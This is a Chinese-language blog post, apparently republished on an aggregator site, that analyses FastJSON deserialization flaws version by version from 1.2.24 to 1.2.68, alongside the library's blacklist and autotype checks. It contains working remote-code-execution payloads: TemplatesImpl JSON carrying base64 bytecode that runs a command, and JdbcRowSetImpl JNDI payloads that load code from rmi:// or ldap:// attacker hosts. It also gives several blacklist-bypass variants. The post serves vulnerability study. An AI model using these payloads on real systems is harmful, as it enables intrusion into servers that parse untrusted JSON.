浅析FastJSON反序列化漏洞(1.2.24

您所在的位置:网站首页 fastjson的autotype 浅析FastJSON反序列化漏洞(1.2.24

浅析FastJSON反序列化漏洞(1.2.24

2024-07-10 01:43| 来源: 网络整理| 查看: 265

FastJSON 简介

FastJson 是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象。

https://github.com/alibaba/fastjson 👈项目地址

“自2017年3月15日,fastjson官方主动爆出其在1.2.24及之前版本存在远程代码执行高危安全漏洞以来,各种新型绕过姿势层出不穷。“——c014

FASTJSON咋用

答案:直接POM导入,方便地一批

代码语言:javascript复制 com.alibaba fastjson x.x.xx

import com.alibaba.fastjson.JSON

fastjson有两种常见的处理JSON的方法

JSON.toJSONString()方法:可将对象转换成JSON字符串JSON.parseObject()方法:将JSON字符串转换成对象。

下面看一波实例:创建一个对象,将其转为JSON,然后再转回对象。 同时可以发现,在JSON序列化时,会调用类的getxxx方法;在JSON反序列化时,会调用类的构造方法

代码语言:javascript复制public class App { public static class User{ private String id; User(){ System.out.println("User go"); } public void setId(String ids){ System.out.println("setId go"); this.id=ids; } public String getId(){ System.out.println("GetId go"); return this.id; } } public static void main(String[] args){ User a = new User(); String json = JSON.toJSONString(a); System.out.println(json); System.out.println(JSON.parseObject(json,User.class)); } } 代码语言:javascript复制User go GetId go {} User go org.example.App$User@36d4b5cFASTJSON 反序列化漏洞起源

我们可以看到,把JSON反序列化的语句是 JSON.parseObject(json,User.class),在指定JSON时,还需要指定其所属的类,显得代码就很臃肿,所以开发人员可以使用@type(autotype)字符段来使其不那么臃肿。 像下面这样,在JSON通过指定@type的值来实现定位某类。

代码语言:javascript复制JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}")

虽说这么做很方便,但是以这种方法进行反序列化,会执行类的构造方法和属性相关的get,set方法。

代码语言:javascript复制public class App { public static class User{ private String id; User(){ System.out.println("User go"); } public void setId(String ids){ System.out.println("setId go"); this.id=ids; } public String getId(){ System.out.println("GetId go"); return this.id; } } public static void main(String[] args){ System.out.println(JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}")); } }代码语言:javascript复制User go setId go GetId go {"id":"123"}

所以在这个JSON反序列化接口处,我们传入恶意的JSON,就可以调用任意类的构造方法以及属性相关的get,set方法。 如果某类的相关方法里有危险的代码(如执行某个命令),我们就可以构造恶意JSON达到RCE的作用。

另外,JSON.parseObject(“{"@type":"org.example.App$User","id":"123"}”,Feature.SupportNonPublicField) ,可以直接为private成员赋值(不加Feature.SupportNonPublicField是无法对private成员赋值的)

各版本复现1.2.24TemplatesImpl

是的,就是7U21链里面的TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个类本身就存在反序列化漏洞,会将成员变量_bytecodes的数据作为类的字节码进行newInsantce操作从而调用其构造方法或static块。故可以fastjson为契机去调用此类。 但是由于_name 和_bytecodes 是私有属性,所以需要FASTJSON反序列化接口有Feature.SupportNonPublicField参数才能实现,利用条件很苛刻,但是条件允许的话就很方便,payload打过去就完事。

“_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,这没关系,我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象,这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。“

代码语言:javascript复制payload { "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"], "_name" : "a", "_tfactory" : {}, "outputProperties" : {} }

_bytecodes的类长这样,编译生成Evil.class,将字节码读出并用base64加密,作为_bytecodes

代码语言:javascript复制import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Evil extends AbstractTranslet{ static { System.err.println("Pwned"); try { String[] cmd = {"calc"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } @Override public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException { // anything } @Override public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException { // anything } }JdbcRowSetImpl

com.sun.rowset.JdbcRowSetImpl,通过JNDI注入来实现RCE。但需注意JNDI注入有JDK版本限制,高版本需要进行绕过。

我们的payload一般长这样

代码语言:javascript复制{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true} or {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099/exp","autoCommit":true}

把这个payload打过去,会执行setAutoCommit(),又setAutoCommit()执行了connct()函数,其如下。 connect()会对dataSourceName属性进行一个InitialContext.lookup(dataSourceName),从而实现JNDI注入。

代码语言:javascript复制private Connection connect() throws SQLException { if(this.conn != null) { return this.conn; } else if(this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else { return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null; } }1.2.25更新机制

1.2.24及以前版本就跟白纸一样随便打,在1.2.25开始加入了黑白名单机制

我们继续用1.2.24的payload(这里用TemplatesImpl的payload)去打,会发现报错autotype不支持

image-20210907163503833image-20210907163503833

究其原因,是因为在com.alibaba.fastjson.parser.ParserConfig 加入了CheckAutoType方法

代码语言:javascript复制com.alibaba.fastjson.parser.ParserConfig !public Class checkAutoType(String typeName, Class expectClass)

在其中有个autotypesupport属性,如果为false,那么就会检测json中@type的值 开头是否与黑名单中的值一样,若一样就直接返回一个异常,然后加载白名单中的类

代码语言:javascript复制if (!autoTypeSupport) { \\黑名单检测,classname是传入类的全名,denyList是黑名单 for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } }image-20210907164922626image-20210907164922626

黑名单长这样

若autotypesupport开启,则会先白名单加载,后黑名单检测

代码语言:javascript复制if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } }

后面的许多更新都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复,以及黑名单的不断增加。

bypass 1(L;法)1.2.25-1.2.41

当autoTypeSupport开启或expectClass不为空时,会调用一个loadclass方法

代码语言:javascript复制if (this.autoTypeSupport || expectClass != null) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader); }

而在其中,若类名以L开头;结尾,则会把这两个字符去掉并加载类。

“至于为什么会有这种奇怪的处理,L 和 ; 这一对字符其实是 JVM 字节码中用来表示类名的:”

代码语言:javascript复制if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); }

所以在autotypesupport开启时,我们可以构造如下payload来bypass

代码语言:javascript复制{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://ip:1099","autoCommit":true}

如何开启autotypesupport?只需在json被解析前加入如下代码即可

代码语言:javascript复制ParserConfig.getGlobalInstance().setAutoTypeSupport(true);bypass 2(json内置)1.2.25-1.2.47

1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;

1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

代码语言:javascript复制{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true } }1.2.42更新机制

42版本中开发人员将明文黑名单改成了hash黑名单,已经有人碰撞出了不少,意义不大;在处理25黑名单绕过的时候做了一个校验,如果类名以L开头,;结尾,则会用stubstring处理一下(这个判断是由HASH来判断的,看不懂,但我大受震撼):

代码语言:javascript复制if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { className = className.substring(1, className.length() - 1); }bypass(双写绕过)

那么直接一手双写绕过

代码语言:javascript复制{ "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"ldap://127.0.0.1:2357/Command8", "autoCommit":true }1.2.42更新机制

针对双写绕过套了个子判断。

代码语言:javascript复制if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { throw new JSONException("autoType is not support. " + typeName); } className = className.substring(1, className.length() - 1); }Bypass

TypeUtils.loadClass 中除了对L;进行判断,还有对[进行了判断

代码语言:javascript复制} else if (className.charAt(0) == '[') { Class componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); }

围绕这个展开,构造如下payload,具体为啥这么构造没有细跟,反正跟[有关

代码语言:javascript复制{ "@type" : "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[,{ "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"], "_name" : "a", "_tfactory" : {}, "outputProperties" : {} }1.2.44更新机制

44版本针对43版本的绕过作了处理,[ 开头或者 L 开头 ; 结尾都会抛出异常

image-20210907182521116image-20210907182521116Bypass

JSON内置完美击破

1.2.47-67更新机制

由于47修复了JSON内置绕过,这些版本里也没啥很好的绕过方法,网上多是从黑名单中结合JNDI注入找漏网之鱼(找到的多为组件类,需要目标机器上有该组件才能打https://paper.seebug.org/1155/)以及expectClass绕过AutoType

1.2.68

68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常,只要设置@type类型,想反序列化指定类对象的时候,就会抛异常,也就是说开了safemod的站可以不用看了。 当然这个版本expectClass绕过AutoType是可以打一打的。

Bypass expectClass绕过AutoType


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3